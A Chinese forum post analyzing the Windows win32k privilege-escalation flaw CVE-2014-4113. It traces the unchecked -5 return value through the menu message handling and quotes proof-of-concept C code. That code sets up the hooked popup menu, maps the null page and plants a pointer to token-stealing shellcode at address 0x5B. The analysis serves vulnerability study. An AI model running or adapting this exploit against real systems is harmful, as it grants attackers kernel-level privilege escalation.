[原创]Windows UAF 漏洞分析CVE-2014-4113
2022-12-24 15:9:57 Author: bbs.pediy.com(查看原文) 阅读量:11 收藏

参考链接:
https://bbs.pediy.com/thread-271809.htm
https://www.freebuf.com/vuls/347427.html
https://www.anquanke.com/post/id/84477
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113

图片描述
Win32K!xxxMNFindWindowsFromPoint API函数的返回值是一个win32k!tagWND结构的指针。然而,在调用失败时,该函数会返回错误代码-1和-5。而调用程序在检查返回值的时候,只检查了-1,而没有检查-5,从而出现了执行出错。
图片描述
图片描述
同时由于系统本身也没有发现该错误,进而使得该函数将继续默认-5为正确值,同时继续提供一个有效的win32k!tagWND结构的指针;实际上,该函数一直使用的都是错误代码-5(0xfffffffb)。这个代码在执行时,会将-5作为参数传递给Win 32K!xxxSendMessage函数。
Win32K!xxxSendMessage函数。而该函数正好是Win32K!xxxSendMessageTimeout的一个轻量级封装函数。
图片描述
该漏洞的利用方法:在用户模式地址为0xfffffffb的地方,用ZwAllocateVirtualMemoryAPI函数分配内存空间,并在这个地方存储一个win32k!tagWND结构指针。在内核中,以用户模式访问该结构时,便会引发该漏洞,之后便会执行win32k!tagWND结构里的函数。
运行poc看一下,触发异常转到windbg,
图片描述
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
查看栈回溯,在ida中定位到漏洞触发地点,与上面所分析的一样
图片描述

在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环xxxMNLoop,消息处理函数是xxxHandleMenuMessages
xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
xxxMNFindWindowFromPoint函数里的逻辑是从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)(MN_FINDWINDOWFROMPOINT)消息
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
图片描述

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallback、KiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用fn函数。
图片描述
在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],即call [0x5B]。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B
图片描述

该漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B,执行shellcode获得权限提升。

POC分析
https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
先看main函数内
首先创建了一个主窗口,又新建了两个菜单一个主菜单一个子菜单,并插入了新菜单项,然后调用了SetWindowsHookExA来拦截 1EBh 的消息

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

main(){

       HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);

}

    //Creates an empty popup menu

    HMENU MenuOne = CreatePopupMenu();

    MENUITEMINFOA MenuOneInfo = { 0 };

    //Default size

    MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);

    //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.

    MenuOneInfo.fMask = MIIM_STRING;

    BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

    HMENU MenuTwo = CreatePopupMenu();

    MENUITEMINFOA MenuTwoInfo = { 0 };

    MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);

    //On this window hSubMenu should be included in Get/SetMenuItemInfo

    MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);

    //The menu is a sub menu of the first menu

    MenuTwoInfo.hSubMenu = MenuOne;

    //The contents of the menu item - in this case nothing

    MenuTwoInfo.dwTypeData = "";

    //The length of the menu item text - in the case 1 for just a single NULL byte

    MenuTwoInfo.cch = 1;

    insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

    HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

    TrackPopupMenu(

        MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.

        0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.

        0, //Horizontal position - left hand side

        0, //Vertical position - Top edge

        0, //Reserved field, has to be 0

        main_wnd, //Handle to the Window which owns the menu

        NULL //This value is always ignored...

        );

    //tidy up the screen

SetWindowsHookExA拦截0x1EB消息,SetWindowLongA设置了一次窗口函数是因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义,我们调用EndMenu函数销毁了这个菜单,此时的win32k!xxxSendMessage函数进行调用就会失败,上层函数 win32k!xxxMNFindWindowFromPoint就会返回 fffffffb

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(

    IN  HANDLE  ProcessHandle,

    IN  PVOID   *BaseAddress,

    IN  PULONG  ZeroBits,

    IN  PSIZE_T RegionSize,

    IN  ULONG   AllocationType,

    IN  ULONG   Protect

    );

//Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into the Thread Execution Block for the current thread

DWORD __stdcall GetPTI() {

    __asm {

        mov eax, fs:18h //eax pointer to TEB

            mov eax, [eax + 40h] //get pointer to Win32ThreadInfo

    }

}

//Loads ntdll.dll into the processes memory space and returns a HANDLE to it

    HMODULE hNtdll = LoadLibraryA("ntdll");

    lNtAllocateVirtualMemory pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    DWORD base_address = 1;

    //Aritary size which is probably big enough - it'll get rounded up to the next memory page boundary anyway

    SIZE_T region_size = 0x1000;

    NTSTATUS tmp = pNtAllocateVirtualMemory(

        GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should be done for, we pass this process.

        (LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want our memory allocated at, this will be rounded down to the nearest page boundary and the new value will written to it

        0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero in the base address, this is only used when the base address passed is NULL

        &region_size, //RegionSize => How much memory we want allocated, this will be rounded up to the nearest page boundary and the updated value will be written to the variable

        (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),//ULONG AllocationType => What type of allocation to be done - the chosen flags mean the memory will allocated at the highest valid address and will immediately be reserved and commited so we can use it.

        PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory should be created with, we want RWX

        );

    void* pti_loc = (void *)0x3;

    void* check_loc = (void *)0x11;

    void* shellcode_loc = (void *)0x5b;

    *(LPDWORD)pti_loc = pti;

    *(LPBYTE)check_loc = 0x4;

    *(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;


文章来源: https://bbs.pediy.com/thread-275621.htm
如有侵权请联系:admin#unsafe.sh